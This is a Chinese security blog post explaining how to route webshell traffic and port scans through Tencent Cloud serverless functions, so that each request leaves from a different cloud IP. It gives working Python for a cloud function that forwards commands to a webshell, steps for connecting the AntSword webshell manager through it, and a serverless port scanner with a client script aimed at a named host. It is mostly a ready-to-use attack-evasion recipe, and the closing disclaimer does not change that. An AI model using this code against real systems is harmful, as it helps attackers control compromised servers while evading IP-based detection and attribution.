0x01 创建云函数

在腾讯云控制台搜索云函数,在函数服务->函数管理进行新建

28058-q6klbrv8phk.png

​然后选择自定义创建,运行环境选择python3.6,函数名随意,地域则随便选一个即可,会随机分配该地域下的IP作为我们的出口IP地址

16184-ktbszwwvb9d.png

0x02 连接Webshell

函数代码中脚本如下,主要是通过将Webshell地址作为参数传入云函数API中,在云函数服务端脚本中重组Webshell地址以及POST命令内容,将重组后的请求内容转发给Webshel

#!/usr/bin/env
# -*- coding:utf-8 -*-

import requests
import json
from urllib.parse import urlsplit

def geturl(urlstr):
    jurlstr = json.dumps(urlstr)
    dict_url = json.loads(jurlstr)
    return dict_url['url']

def main_handler(event, context):
    url = geturl(event['queryString'])
    host = urlsplit(url).netloc
    postdata = event['body']
    headers = event['headers']
    headers["HOST"] = host
    resp = requests.post(url, data=postdata, headers=headers, verify=False)
    response = {
        "isBase64Encoded": False,
        "statusCode": 200,
        "headers": {'Content-Type': 'text/html;charset=' + resp.apparent_encoding},
        "body": resp.text
}
    return response

配置好云函数代码后,继续进入 触发管理 选项

63023-am7bmwulq2.png

触发器配置如图所示,取消勾选集成响应

55737-4sx6i0si4x9.png

配置完成

94205-n50ynjz2qp.png

我们可以通过蚁剑直接连接Webshell,URL请求地址填为api地址+webshell地址

51795-8jhrt87hs1v.png

查看服务器,可以发现请求都是不同的ip地址

62026-in4tiydzitd.png

0x03 端口扫描实现

云函数代码,其他配置不变

# -*- coding: utf8 -*-
from socket import *
def main_handler(event, context):
    host=event["queryString"]["host"]
    port=event["queryString"]["port"]
    try:
        conn=socket(2,1)
        conn.settimeout(1.5) #超时时间
        res=conn.connect_ex((str(host),int(port)))
        if res==0:
            conn.close()
            return 'open'
    except Exception as err:
        print(err)

    conn.close()

    return 'close'

客户端代码如下:

import requests
    def main():
        portList=[22,21,80,443,3306,3389]
        host='blog.mo60.cn'
        serverless='https://tencentcs.com/release/helloworld'
        for port in portList:
            tmp=f'{serverless}?host={host}&port={port}'
            r=requests.get(tmp,timeout=3)
            if r.text =='"open"':
                print(f'[+]{port}-open')
    if __name__=="__main__":
        main()

运行效果如下

89256-fs9jlvsur9.png

0x04 参考

https://www.secpulse.com/archives/168359.html
https://xz.aliyun.com/t/10612

Last modification:April 22, 2022
  • 本文作者:Juneha
  • 本文链接:https://blog.mo60.cn/index.php/archives/262.html
  • 版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
  • 法律说明:
  • 文章声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全,本文内容未隐讳任何个人、群体、公司。非文学作品,请勿过度理解,根据《计算机软件保护条例》第十七条,本站所有软件请仅用于学习研究用途。
如果觉得我的文章对你有用,请随意赞赏,可备注留下ID方便感谢